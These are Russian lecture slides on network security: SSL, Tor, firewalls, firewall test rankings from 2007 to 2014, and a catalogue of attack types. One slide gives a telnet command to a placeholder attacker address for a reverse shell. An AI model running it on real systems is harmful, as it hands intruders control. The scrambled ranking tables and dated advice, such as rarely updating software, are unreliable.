lect2014_14
реклама
Протокол SSL SSL (Secure Sockets Layer) - криптографический протокол, который обеспечивает установление безопасного соединения между клиентом и сервером. SSL поддерживает 3 типа аутентификации: • аутентификация обеих сторон (клиент — сервер), • аутентификация сервера с неаутентифицированным клиентом • полная анонимность. Протокол рукопожатия (handshake): 1) Клиент подключается к SSL серверу. Запрос безопасного соединения представляет собой список поддерживаемых клиентом шифров и хэш-функций. 2) Из этого списка сервер выбирает самый сильный шифр и хэш-функцию, которую он также поддерживает, и уведомляет клиентов о принятом решении. Сервер отсылает это решение в виде цифрового сертификата (имя сервера, доверенный Центр Сертификации, и открытый ключ шифрования сервера). 3) Клиент шифрует случайное число с помощью открытого ключа сервера и отправляет результат на сервер. Сервер своим закрытым ключом расшифровывает случайное число. 4) Из случайного числа обе стороны создают ключ сеанса. Алгоритмы, использующиеся в SSL • Для обмена ключами и проверки их подлинности применяются: RSA, Diffie-Hellman, ECDH, SRP, PSK. • Для аутентификации: RSA, DSA, ECDSA. • Для симметричного шифрования: RC2, RC4, IDEA, DES, Triple DES или AES, Camellia. • Для хеш-функций: SHA, MD5, MD4 и MD2. Tor (The Onion Router) —программное обеспечение для реализации «луковой маршрутизации», позволяющей обеспечить анонимное соединение в сети. Каждый пакет, попадающий в систему, проходит через три различных сервера (нода), которые выбираются случайным образом. Перед отправлением пакет последовательно шифруется тремя ключами: сначала для третьей ноды, потом для второй, и, в конце концов, для первой. Когда первая нода получает пакет, она расшифровывает «верхний» слой шифра (аналогия с тем, как чистят луковицу) и узнает, куда отправить пакет дальше. Второй и третий сервер поступают аналогичным образом. Особенности технологии TOR: • Первый узел цепочки знает настоящий адрес клиента; • Последний узел цепочки видит исходное сообщение от клиента, хотя и не знает истинного отправителя; • Сервер-адресат видит исходное сообщение от клиента, хотя и не знает истинного отправителя; • Все интернет-шлюзы на пути от последнего узла сети Tor до сервераадресата видят исходное сообщение от клиента, хотя и не знают адреса истинного отправителя. Но они знают адрес последнего нода. Соединение с сервером с помощью технологии TOR (З,К – пара закрытого и открытого ключей) Сервер Нод 2 (пара ключей З2, К2) Нод 3 (пара ключей З3, К3) Кодированное K3: Пакеты Один из серверов TOR Список возможных нодов Кодированное K2: Адрес K3, Кодированное K3: Пакеты кодированное ключем K1: Адрес K2, Кодированное K2: Адрес K3, Кодированное K3: Нод 1 (пара ключей З1, К1) Пакеты Пользователь Системы Firewall Firewall (межсетевой экран, брандмауэр) – программно-аппаратный комплекс, обеспечивающий защиту локальной компьютерной сети (или отдельной рабочей станции) от враждебной внешней среды и от несанкционированных действий при взаимодействии с внешними сетями. Firewall защищает от: 1) Угроз неправомерного вторжения во внутреннюю сеть из внешней; 2) Угроз несанкционированного доступа во внешнюю сеть из внутренней. Основные функции Firewall: 1) Фильтрация проходящих через него информационных потоков; 2) Посредничество при реализации межсетевых взаимодействий (например, обеспечение протокольного преобразования отличающихся по реализации уровней модели OSI для объединяемых сетей). Важные дополнительные функции: кэширование информации (прокси) и трансляция адресов. Стандартная схема использования Firewall Схема использования Firewall с демилитаризованной зоной (DMZ) Схема использования Firewall в частных виртуальных сетях (VPN) Результаты тестирования Firewall (26 тестов, 2007 год) N 1 Firewall Online Armor Personal Firewall Оценка Защита N Firewall Оценка Защита 9625 Превосходная 100% 33 Norman Personal Firewall 750 Никакая 34 TheGreenBow Personal Firewall 750 Никакая 9625 Превосходная 100% 35 Panda Antivirus + Firewall 2007 650 Никакая 36 AVG Anti-Virus plus Firewall 500 Никакая 37 Armor2net Personal Firewall 500 Никакая 38 Ashampoo FireWall Pro 500 Никакая 39 Filseclab Personal Firewall 500 Никакая 40 Rising Personal Firewall 2007 500 Никакая 41 Prisma Firewall 250 Никакая 42 Windows Firewall XP SP2 0 Отсутствует 2 Outpost Firewall Pro 2008 3 Comodo Firewall Pro 4 Jetico Personal Firewall 9375 Превосходная 5 ProSecurity 1.40 8875 Очень хорошая 6 ZoneAlarm Pro 8600 Очень хорошая 9475 Превосходная Lavasoft Personal Firewall 8500 Kaspersky Internet Security 8475 9 System Safety Monitor 7975 Очень хорошая 10 Jetico Personal Firewall Free 7750 Очень хорошая 7 8 Очень хорошая Очень хорошая Результаты тестирования Firewall (73 теста, 2008 год) N Firewall 1 Outpost Firewall Pro 2009 6.5 2 Online Armor Personal Firewall 2.1 Оценка Защита N 99% Превосходная 100% 11 98% Превосходная 100% 3 Comodo Firewall Pro 3.0 FREE 95% Превосходная 4 ProSecurity 1.43 93% Превосходная 5 Privatefirewall 6.0 90% Превосходная Оценка Защита Jetico Personal Firewall 2.0 78% Хорошая 12 System Safety Monitor 2.3 77% Хорошая 13 Norton Internet Security 2009 71% Хорошая 14 Lavasoft Personal Firewall 70% Хорошая 15 Dynamic Security Agent 2.0 62% Плохая 16 Webroot Desktop Firewall 5.5 60% Плохая Firewall Online Armor Personal Firewall 2.1 FREE 89% 7 Kaspersky Internet Security 2009 87% Очень хорошая 17 Comodo Firewall Pro 2.4 FREE 55% Плохая 8 Netchina S3 2008 FREE 86% Очень хорошая 18 Trend Micro Internet Security Pro 27% Никакая 9 ZoneAlarm Pro 2009 86% Очень хорошая 19 G DATA InternetSecurity 19% Никакая 10 PC Tools Firewall Plus 4.0 FREE 85% Очень хорошая 25 Avira Premium Security Suite 11% Никакая 6 Очень хорошая Результаты тестирования Firewall (86 тестов, 2009 год) N 1 Firewall Comodo Internet Security 3.12 FREE Оценка Защита N 100% Превосходная 100% 12 2 Online Armor Personal Firewall 3.5.0.14 99% Превосходная 3 PC Tools Firewall Plus 6.0 FREE 99% Превосходная 96% Превосходная 93% Превосходная Kaspersky 4 Internet Security 2010 Outpost Firewall 5 FREE 2009 Outpost Security 6 Suite Pro 2009 Online Armor 7 Personal Firewall 3.5.0.14 FREE Jetico Personal 8 Firewall 2.0.2.8 Malware 9 Defender 2.2.2 Privatefirewall 10 6.0.20.14 Netchina S3 2008 11 3.5.5.1 FREE 92% Превосходная 89% Очень хорошая 89% Очень хорошая 85% Защита ZoneAlarm Pro 72% Хорошая 13 Norton Internet Security 2010 67% Хорошая 14 Lavasoft Personal Firewall 67% Хорошая 15 Webroot Desktop Firewall 54% Плохая 16 Trend Micro Internet Security Pro 29% Никакая 17 BitDefender Internet Security 2009 12% Никакая 18 ZoneAlarm Free Firewall 8.0 11% Никакая 19 Avira Premium Security Suite 9.0 10% Никакая … … … … 34 Mamutu 1.7.0.23 2% Никакая Превосходная 92% 88% Оценка Очень хорошая Очень хорошая Firewall Результаты тестирования Firewall (142 тестов, 2010 год) N 1 2 3 Оценка Защита N 100% Превосходная 100% 12 Online Solutions Security Suite 1.5 99% Превосходная Outpost Security Suite Pro 7.0 97% Firewall Comodo Internet Security 4.0 FREE Kaspersky 4 Internet Security 2011 11.0 Malware 5 Defender 2.6 Privatefirewall 7.0 6 FREE Outpost Firewall 7 FREE 2009 ZoneAlarm 8 Extreme Security 9.1 Rising Internet 9 Security 2010 PC Tools Firewall 10 Plus 6.0 FREE Norton Internet 11 Security 2010 92% Защита Jetico Personal Firewall 2 28% Никакая 13 BitDefender Int. Security 2010 24% 14 Dr.Web Security Space Pro 6.0 14% 15 CA Internet Security Suite Plus 2010 12% Никакая 16 F-Secure Internet Security 2010 9% Никакая 17 Trend Micro Internet Security Pro 2010 9% Никакая 18 ZoneAlarm Free Firewall 9 FREE 7% Никакая Превосходная Превосходная 90% Очень хорошая 86% Очень хорошая 71% Хорошая 59% Оценка Плохая Firewall Никакая Никакая 55% Плохая 51% Плохая 19 Avira Premium Security Suite 10 3% Никакая 40% Очень плохая … 22 Panda Internet Security 2010 1% Никакая Результаты тестирования Firewall (148 тестов, 2011 год) N 1 Firewall Comodo Internet Security 5.3 FREE Оценка Защита N 100% Превосходная 100% 12 2 Online Solutions Security Suite 1.5 99% Превосходная 3 Privatefirewall 7.0 FREE 98% Превосходная 97% Превосходная 97% Превосходная 97% Превосходная 4 5 6 7 8 9 Outpost Security Suite FREE 7.0 Outpost Security Suite Pro 7.5 BitDefender Int. Security 2011 Kaspersky Internet Security 2012 12.0 Malware Defender 2.7 FREE PC Tools Internet Security 2011 8.0 Jetico Personal 10 Firewall 2.1 ZoneAlarm 11 Extreme Sec 2012 93% 91% Оценка Защита Rising Internet Security 2010 34% Очень плохая 13 CA Internet Security Suite Plus 2010 30% Очень плохая 14 Norton Internet Security 2010 20% Никакая 15 avast! Internet Security 6.0 15% Никакая 16 Dr.Web Security Space Pro 6.0 14% Никакая 17 F-Secure Internet Security 2011 9% Никакая … 20 ZoneAlarm Free Firewall 9.2 FREE 7% Никакая Превосходная Превосходная Firewall 90% Очень хорошая 88% Очень хорошая … 23 Avira Premium Security Suite 10 3% Никакая 72% Хорошая … 29 TrustPort Internet Security 2011 1% Никакая Результаты тестирования Firewall (104 теста, 2012 год, matousec.com) N 1 2 3 4 5 6 7 8 9 Firewall Comodo Internet Security 5.9 FREE Privatefirewall 7.0 FREE Kaspersky Internet Security 2012 13.0 Outpost Security Suite Pro 7.5.2 Outpost Security Suite FREE 7.1 VirusBuster Internet Security Suite 4.1 Jetico Personal Firewall 2.1 ESET Smart Security 5.2 ZoneAlarm Extreme Sec 2012 10 ZoneAlarm Free Antivirus + Firewall 11 Total Defense Internet Security Suite Оценка Защита 94% Превосходная 88% Очень хорошая 86% 86% 71% 71% N Защита avast! Internet Security 7.0 15% Никакая 13 Dr.Web Security Space 7.0 11% Никакая 14 Norton Internet Security 2012 10% Никакая 15 Avira Internet Security 2013 9% Никакая 16 Bitdefender Total Security 2013 9% Никакая 17 TrustPort Total Protection 2013 8% Никакая Очень хорошая Хорошая Оценка 12 Очень хорошая Хорошая Firewall 59% Плохая 51% Плохая 18 Norman Security Suite PRO 9.0 6% Никакая 43% Очень плохая 19 PC Tools Internet Security 2012 6% Никакая 34% Очень плохая … 35 AhnLab V3 Internet Security 8.0 2% Никакая 21% Никакая Результаты тестирования Firewall (110 тестов, 2013 год, matousec.com) N 1 2 3 4 5 6 7 8 9 Firewall Comodo Internet Security 6.3 FREE Outpost Security Suite Pro 8.0.4 Privatefirewall 7.0.29 FREE Kaspersky Internet Security 2013 13.0.1 SpyShelter Firewall 2.2 Outpost Security Suite FREE 7.1.1 VirusBuster Internet Security Suite 4.1 Jetico Personal Firewall 2.1 ESET Smart Security 6.0 Оценка Защита 97% Превосходная 90% Превосходная 88% N Firewall Оценка Защита 12 avast! Internet Security 8.0 32% Очень плохая Очень хорошая 13 Total Defense Internet Security Suite 8.0 31% Очень плохая 86% Очень хорошая 13 Dr.Web Security Space 8.2.1 24% Никакая 85% Очень хорошая 14 Webroot Secure Anywhere Complete 22% Никакая 71% Хорошая 15 eScan Internet Security Suite 14 14% Никакая Хорошая 16 K7 TotalSecurity 2013 9% Никакая 58% Плохая 17 Norton Internet Security 2012 9% Никакая 55% Плохая 19 Bitdefender Total Security 2013 8% Никакая 20 Avira Internet Security 2013 6% Никакая … 37 VIPRE Internet Security 2014 2% Никакая 71% 10 ZoneAlarm Extreme Sec 2013 34% Очень плохая 11 ZoneAlarm Free Antivirus + Firewall 34% Очень плохая Результаты тестирования Firewall (110 тестов, 2014 год, matousec.com) N 1 2 3 4 5 6 7 8 9 Firewall Comodo Internet Security Premium 7.0 FREE Outpost Security Suite Pro 9.1 Kaspersky Internet Security 2015 15.0.0 SpyShelter Firewall 9.2 Privatefirewall 7.0.30.3 FREE Outpost Security Suite FREE 7.1.1 VirusBuster Internet Security Suite 4.1 Jetico Personal Firewall 2.1 ESET Smart Security 7.0 Оценка Защита 97% Превосходная 90% Превосходная 89% 89% 88% 71% 71% 58% Очень хорошая Очень хорошая Очень хорошая Оценка Защита 12 Total Defense Internet Security Suite 9.0 30% Очень плохая 13 Dr.Web Security Space 9.0 24% Никакая 13 Webroot Secure Anywhere Complete 23% Никакая 14 Bitdefender Total Security 2014 19% Никакая 15 BullGuard Internet Security 2014 16% Никакая 16 eScan Internet Security Suite 14 14% Никакая 17 Avira Internet Security 2013 9% Никакая 18 K7 TotalSecurity 2013 9% Никакая N Хорошая Хорошая Плохая 55% Плохая Firewall 10 ZoneAlarm Extreme Sec 2013 34% Очень плохая 19 Norton Internet Security 2012 9% Никакая 11 ZoneAlarm Free Antivirus + Firewall 34% Очень плохая … 37 Zillya! Internet Security 1.1 2% Никакая Virusbtn.com – тест антивирусов (август 2011) Virusbtn.com – тест антивирусов (август 2012) Virusbtn.com – тест антивирусов (август 2013) Virusbtn.com – тест антивирусов (август 2014) Некоторые правила при работе с FIREWALL 1) Установите МАКСИМАЛЬНЫЙ уровень безопасности в настройках файервола. 2) Имейте ограниченное количество программ, для которых Вы разрешаете любую сетевую активность (Internet Explorer, Skype, ICQ, один из файловых менеджеров, например, Total Commander, какой-нибудь Torrent клиент, один из почтовых клиентов, например The Bat). Для остальных программ прямо запрещайте любую сетевую активность. 3) Пользуйтесь программами, которые хорошо знаете. Как можно реже обновляйте программы из основного списка (пункт 2), для которых разрешена сетевая активность. Для остальных программ (особенно новых устанавливаемых) в исключительных случаях разрешайте ОДНОКРАТНУЮ сетевую активность только при онлайн-регистрации программы при ее установке. 4) Помните, что доверяя файерволу, Вы ДОВЕРЯЕТЕ НЕИЗВЕСТНОЙ ВАМ КОМАНДЕ ПРОФЕССИОНАЛОВ. Не доверяйте файерволу защиту персональной информации (кредитные карты, пароли доступа и пр.). Храните такую информацию на изолированных от Интернета и локальных сетей компьютерах или на бумажных носителях информации. Классификация хакерских атак: 1. Fishing (или Фишинг). Очень широкое понятие. Смысл его в том, чтобы получить от пользователей информацию (пароли, номера кредитных карт и т.п.) или деньги. Этот приём направлен не на одного пользователя, а на многих. Например, письма якобы от службы технической поддержки рассылаются всем известным клиентам какого-либо банка. В письмах обычно содержится просьба выслать пароль к учётной записи, якобы из-за проведения каких-либо технических работ. Несмотря на то, что пользователей предупреждают, что никакую подобную информацию от них никто из работников не может потребовать, и эта информация не должна разглашаться, всегда находятся те, кто с удовольствием «дарит» свои номера, пароли и прочее. Подобные письма, обычно очень правдоподобно и грамотно составлены, что, возможно, подкупает доверчивых пользователей. Нужно оговориться, что приёмов для фишинга есть несколько, помимо писем. Рекомендации: Помните, что паранойя – лучшая защита. Не доверяйте ничему подозрительному, никому не давайте свои данные. Администраторам не нужно знать Ваш пароль, если он предназначен для доступа к их серверу. Они полностью управляют сервером и могут сами посмотреть пароль или изменить его Классификация хакерских атак: 2. Социальная инженерия – это не технический, а психологический приём. Пользуясь данными, полученными при инвентаризации, взломщик может позвонить какому-либо пользователю (например, корпоративной сети) от имени администратора и попытаться узнать у него, например, пароль. Это становится возможным, когда в больших сетях, пользователи не знают всех работников, и тем более не всегда могут точно узнать их по телефону. Кроме этого, используются сложные психологические приёмы, поэтому шанс на успех сильно возрастает. Рекомендации: те же самые. Если действительно есть необходимость, то сообщите нужные данные лично. В том случае, если Вы записали пароль на бумаге, не оставляйте её где попало и по возможности уничтожайте, а не просто выбрасывайте в мусорную корзину. 3. DoS (Denial of Service или Отказ от Обслуживания). Это скорее не отдельная атака, а результат атаки; используется для вывода системы или отдельных программ из строя. Для этого взломщик особым образом формирует запрос к какой-либо программе, после чего она перестаёт функционировать. Требуется перезарузка, чтобы вернуть рабочее состояние программы. Часто встречается мнение, что DoS, это то же самое, что и атака типа Flood и что вообще нужно соединить все атаки, которые приводят к отказу системы под общим названием DoS. Классификация хакерских атак: 4. Flood (Флуд или Поток/Затопление). С некоторого количества машин (в этом случае атака будет называться DDoS Distributed Denial of Service. Распределенная атака на отказ от обслуживания), как правило «Зомби» посылают жертве максимально возможное количество запросов (например, запросы на соединение). От этого жертва не успевает отвечать на каждый запрос, и в итоге не отвечает на пользовательские запросы. Разновидности: --SYN Flood – Затопление атакуемого компьютера пакетами типа SYN. Как известно, компьютер должен на такой пакет ответить пакетом типа SYN/ACK. Если пакетов SYN слишком много, то компьютер не успевает отвечать на каждый и не может принимать пакеты от других компьютеров. --ICMP Flood или Ping Flood – То же самое, только пакетами ICMP. Система должна ответить на такой пакет, тем самым создаётся большое количество пакетов, которые снижают производительность (пропускную способность) канала. --Identification Flood (Ident Flood). Похожа на ICMP Flood, но ответ на запрос на порт 113 типа identd занимает у системы больше времени, поэтому атака более эффективна. --DNS Flood – атака направлена на DNS сервера. Их наводняют DNS запросы, на которые сервер не успевает отвечать, таким образом, на Ваши запросы он так же ответить не сможет. Как следствие, Вы не сможет посещать Интернет сайты. --DDoS DNS – Адрес, по которому должен ответить DNS-сервер на эти запросы, равен адресу самого DNS сервера, т.е. его не только наводняют запросы DNS, но он же ещё и отправляет их себе же. --Boink (Bonk, Teardrop) – Жертве посылается огромное количество сильно фрагментированных пакетов, но при этом фрагменты большого размера. 5. --Pong – то же самое, что и любой другой из вышеперечисленных видов, отличие только в том, что адрес отправителя поддельный. Классификация хакерских атак: 5. Smurf (атака, направленная на ошибки реализации TCP-IP протокола). Сейчас этот вид атаки считается экзотикой, однако раньше, когда TCP-IP протокол был достаточно новым, в нём содержалось некоторое количество ошибок, которые позволяли, например, подменять IP адреса. Однако, этот тип атаки применяется до сих пор. Некоторые специалисты выделяют TCP Smurf, UDP Smurf, ICMP Smurf. Конечно, такое деление основано на типе пакетов. 6. Ping-of-Death (или Jolt, SSPing) – Атака заключается в том, что жертве посылается фрагментированный ICMP пакет, но размер фрагмента очень большой (64кБ). Старые версии ОС, например Windows 95, повисают. Эту атаку можно осуществить с помощью программы Shadow Security Scanner. 7. UDP Storm (UDP шторм) – используется в том случае, если на жертве открыто как минимум два UDP порта, каждый из которых отсылает отправителю какой-нибудь ответ. Например, порт 37 с сервером time на запрос отправляет текущую дату и время. Взломщик отправляет UDP пакет на один из портов жертвы, но в качестве отправителя указывает адрес жертвы и второй открытый UDP порт жертвы. Тогда порты начинают бесконечно отвечать друг другу, что снижает производительность. Шторм прекратится, как только один из пакетов пропадёт (например, из-за перегрузки ресурсов). Классификация хакерских атак: 8. UDP Bomb – взломщик отправляет системе UDP пакет с некорректными полями служебных данных. Данные могут быть нарушены как угодно (например, некорректная длина полей, структура). Это может привести к аварийному завершению. 9. Land – жертве посылается пакет на определённый порт, но адрес отправителя устанавливается тот же самый, что и жертвы, а порт отправителя равен порту получателя. (пример: получатель: 1.1.1.1 порт 111 отправитель: 1.1.1.1 порт 111). Жертва пытается установить соединение с собой, отчего может произойти повисание системы. Подобная атака также может быть на 100% эффективна против некоторых маршрутизаторов. 10. Mail Bombing («Почтовая бомбёжка»). Если на атакуемом компьютере есть почтовый сервер, то на него посылается огромное количество почтовых сообщений с целью вывода его из строя. 11. Sniffing (Сниффинг или прослушивание сети). В том случае, если вместо коммутаторов в сети установлены концентраторы, полученные пакеты рассылаются всем компьютерам в сети, а дальше уже компьютеры определяют для них этот пакет или нет. Если взломщик получит доступ к компьютеру, который включен в такую сеть, или получит доступ к сети непосредственно, то вся информация, передаваемая в переделах сегмента сети, включая пароли, станет доступна. Взломщик просто поставит сетевую карту в режим прослушивания и будет принимать все пакеты независимо от того, ему ли они предназначались. Классификация хакерских атак: 12. IP Hijack (IP хайджек). Если есть физический доступ к сети, то взломщик может «врезаться» в сетевой кабель и выступить в качестве посредника при передаче пакетов, тем самым он будет слушать весь трафик между двумя компьютерами. 13. Dummy ARP (Ложный ARP). ARP сервер, маршрутизатор или коммутатор знают какие IP принадлежат MAC адресам (т.е. сетевым картам). При возможности физического доступа к сети, взломщик может подделать ARP ответ и выдать себя за другой компьютер в сети, получив его IP. 14. Dummy DNS Server (ложный DNS Сервер). Если настройки сети поставлены в автоматический режим, то при включении в сеть, компьютер «спрашивает» (т.е. отправляет широковещательный пакет) кто будет его DNS сервером, к которому он в дальнейшем будет отправлять DNS запросы. При наличии физического доступа к сети, взломщик может перехватить такой широковещательный запрос и ответить, что его компьютер будет DNS сервером. 15. Fuzzy (Фаззи). Фильтры могут быть настроены на блокировку определённых видов пакетов, например UDP. Взломщик может сфабриковать пакет так, что фильтр не поймет, что этот пакет UDP и не отфильтрует его, и он попадёт по назначению. Классификация хакерских атак: 16. Puke – взломщик фабрикует ответ ICMP unreachable (ошибка удалённой системы), что спровоцирует клиента на отключение от сервера. Используется скорее как вспомогательное средство, в том случае, если какой-либо клиент должен быть отключён от сервера для проведения атаки. 17. Fake unreachable – взломщик фабрикует сообщение о том, что пакет не может быть доставлен (unreachable), тем самым заставляет сервер думать, что у клиента сбой и пакеты не доставляются по назначению. Это может спровоцировать сервер отключить клиента. Тоже вспомогательное средство, похоже на №17, только направлен не на клиента, а на сервер. 18. Back Connect/Pipes/Reverse (Обратный сеанс или Реверс) - взломщик вынуждает атакуемый компьютер подключиться к компьютеру взломщика. Например на атакуемом компьютере можно выполнить команду telnet [ip.адрес.взломщика] [порт]. После этого взломщик, по сути дела получает командную строку (командную оболочку или Шелл/Shell) на атакуемом компьютере. 19. Shatter - Уязвимость Windows систем, которая может быть использована только локально. Основана на том, что у каждого окна в Windows, у которого есть поле для ввода, есть и максимальная длина вводимого значения. Переполнение этой строки приводит к попаданию определенного кода в стек и выполнению его процессором. 20. IP-Spoofing (Спуфинг или Подмена IP адреса). 21. Host spoofing (Подмена хоста). Классификация хакерских атак: 22. Software vulnerabilities (Ошибки ПО). 23. Buffer Overflow (Переполнение буфера). 24. Nuke (WinNuke или Нюк) – устаревшая атака (несовершенство NetBIOS). 25. Cross User Attack (межпользовательская атака) – Основана на несовершенстве протокола TCP (фальсификация одним пользователем информации для другого пользователя). 26. Атака на CGI – получение доступа к содержимому серверов и модификация кода серверной части сайтов. Основана на возможностях языков программирования PERL, PHP, небрежном программировании серверных приложений на этих языках. 27. SQL Injection (SQL инъекция) – взлом SQL баз данных с помощью специальных запросов. Возможна при небрежном программировании и настройке SQL или mySQL. 28. HRS (HTTP Resource Splitting) – похищение cookie, фальсификация сервиса. 29. Cross User Defacement – фальсификация сервиса. 30. Hijacking Pages – сервер посылает HTML страницу, предназначенную для одного пользователя, другому пользователю (хакеру). 31. CSS/XSS (Cross-Site Scripting) – похищение cookie. 32. NULL Byte (или Нулевой байт) – атака на PERL. 33. Include Bug. PHP-Include Bug – атаки на PHP.
